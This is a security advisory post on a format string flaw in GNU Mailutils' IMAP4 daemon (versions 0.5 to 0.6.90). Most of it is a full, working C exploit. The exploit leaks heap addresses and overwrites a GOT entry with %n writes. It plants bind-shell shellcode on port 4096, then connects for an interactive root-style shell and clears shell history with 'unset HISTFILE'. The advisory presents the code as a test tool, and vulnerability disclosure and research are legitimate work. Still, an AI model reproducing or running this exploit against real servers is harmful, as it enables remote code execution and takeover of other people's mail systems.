[EXPL] GNU Mailutils Remote Format String Exploit (IMAP4d)

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  GNU Mailutils Remote Format String Exploit (IMAP4d)
------------------------------------------------------------------------


SUMMARY

 <http://www.gnu.org/software/mailutils/> GNU Mailutils is a collection of 
mail-related utilities. At the core of Mailutils is libmailbox, a library 
which provides access to various forms of mailbox files (including remote 
mailboxes via popular protocols).

GNU Mailutils IMAP4 daemon is vulnerable to a format string vulnerability, 
exploiting this vulnerability allows malicious attackers to run arbitrary 
code on vulnerable system, the following exploit code can be used to test 
your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:
 * gnu mailutils versions 0.5 to 0.6.90

Exploit:
/*
gun-imapd.c
"""""""""""
gnu mailutils-0.5 - < mailutils-0.6.90 remote formatstring exploit

written and tested on FC3.
this is a first testing version and the onlyone to go public.

by [email protected]
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

// to be modified
#define GOT 0x080573fc

static char bindshell[]= //by pr1 bind to :4096
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x40" // inc %eax
"\x89\xc3" // mov %eax,%ebx
"\x40" // inc %eax
"\x53" // push %ebx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xor %edx,%edx
"\x52" // push %edx
"\x43" // inc %ebx
"\x6a\x10" // push $0x10
"\x66\x53" // push %bx
"\x89\xe1" // mov %esp,%ecx
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\xd1\xe3" // shl %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x58" // pop %eax
"\x52" // push %edx
"\x50" // push %eax
"\x43" // inc %ebx
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x87\xd9" // xchg %ebx,%ecx
"\x93" // xchg %eax,%ebx
"\x49" // dec %ecx
"\x31\xc0" // xor %eax,%eax
"\x49" // dec %ecx
"\xb0\x3f" // mov $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // inc %ecx
"\xe2\xf8" // loop 8048469 <blah>
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
;


/********************************\
|****** handle remoteshell ******|
\********************************/

int handleshell(int peersh)
{
fd_set fds;
char buff[2048];
int ret, cntr = 1;

printf(" |- enjoy your stay and come back soon ;>\n");

write(peersh, "unset HISTFILE;id;uname -a;\n", 30);

while(ret && cntr)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(peersh, &fds);
ret = select(peersh+1, &fds, 0, 0, 0);
if(ret)
{
memset(buff, 0x0, sizeof(buff));
if(FD_ISSET(peersh, &fds))
{
cntr = read(peersh, buff, sizeof(buff)-1);
printf("%s", buff);
fflush(stdout);
}
if(FD_ISSET(0, &fds))
{
cntr = read(0, buff, sizeof(buff)-1);
write(peersh, buff, strlen(buff));
}
}
}
return 1;
}





/********************************\
|********* HELP OUTPUT **********|
\********************************/

void help()
{

printf(" `- usage: gun-imapd -p 143 -t www.exploits.cx \n");
exit(0);
}



/********************************\
|******* CONNECT FUNC **********|
\********************************/


int connectme(char* ip, unsigned short port)
{
int soquet;
struct sockaddr_in remoteaddr_in;
struct hostent* hostip;

memset(&remoteaddr_in, 0x0, sizeof(remoteaddr_in));
if ((hostip = gethostbyname(ip)) == NULL)
{
printf(" |- could not resolve [%s]\n", ip);
exit(-1);
}

remoteaddr_in.sin_family = AF_INET;
remoteaddr_in.sin_port = htons(port);
remoteaddr_in.sin_addr = *((struct in_addr *)hostip->h_addr);

if ((soquet = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf(" |- got no socket!\n");
exit(-1);
}

printf(" |- try connecting to [%s:%d] ...", ip, port);

if (connect(soquet, (struct sockaddr *)&remoteaddr_in, sizeof(struct 
sockaddr)) == -1)
{
printf(" no connection, exiting!\n");
exit(-1);
}

printf(" successfull!\n");
return(soquet);
}


/********************************\
|********* DO SPLOIT ************|
\********************************/

int do_sploit(int soquet)
{
char buff[1024], *addr = 0;
int cntr = 0, *ptr, scaddr, gotaddr = GOT;
unsigned int w1, w2 ,w3;

//find heap with our shellcode: !experimental!
memset(buff, 0x00, sizeof(buff));
memset(buff, 0x41, 496);
strcat(buff, "111122223333%p%p%p%p[%p-%p]\r\n");

if(write(soquet, buff, strlen(buff)) == -1)
{
printf(" |- could not send packet!\n");
return -1;
}
memset(buff, 0x00, sizeof(buff));
read(soquet, buff, sizeof(buff)-1);
addr = strstr(buff, "[");
if(addr > 0)
{
scaddr = strtoul(++addr, 0, 0) + 0x330;//the next chunk..
printf(" |- using %p\n", scaddr);
}
else printf(" |- !could not determine heap address..\n!");
//k build exploit now:

w3 = ( scaddr & 0xffff0000 ) >> 16;
w1 = ( scaddr & 0x0000ffff );


memset(buff, 0x00, sizeof(buff));
memset(buff, 0x41, 496);
memcpy(buff+400, bindshell, strlen(bindshell));
cntr = strlen(buff) + 3*4;


ptr = (int *)gotaddr;
memcpy((buff+496), &ptr,4);
ptr = (int *)gotaddr;
memcpy((buff+500), &ptr,4);
ptr = (int *)(gotaddr+2);
memcpy((buff+504), &ptr,4);
w1 -= cntr;
w3 += (0x10000 - w1) - cntr;
sprintf(buff+508, "%%%dp%%n%%%dp%%n \r\n", w1, w3);

if(write(soquet, buff, strlen(buff)) == -1)
{
printf(" |- could not send packet!\n");
return -1;
}
//memset(buff, 0x00, sizeof(buff));
//read(soquet, buff, sizeof(buff));


return 1;
}

/********************************\
|************* MAIN *************|
\********************************/

int main(int argc, char *argv[])
{
int tmp, socke, port = 143;
char *target = 0;
char banner[32];

printf(" . gun-imapd v0.1 by qobaiashi\n |\n");
memset(banner, 0x00, sizeof(banner));

while((tmp = getopt(argc, argv, "p:t:h")) != EOF)
{
switch (tmp)
{
case 'p':
port = atoi(optarg);
printf(" |- using port: %d\n", port);
break;

case 't':
target = optarg;
printf(" |- target host is: %s\n", optarg);
break;

case 'h': help();
}

}
if (target == NULL) help();
socke = connectme(target, port);

if (read(socke, banner, sizeof(banner)) > -1)
{
printf(" |- remote host is a %s", (banner+4));
}

do_sploit(socke);
sleep(1);
tmp = connectme(target, 4096);
handleshell(tmp);

close(tmp);
close(socke);
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
qobaiashi.



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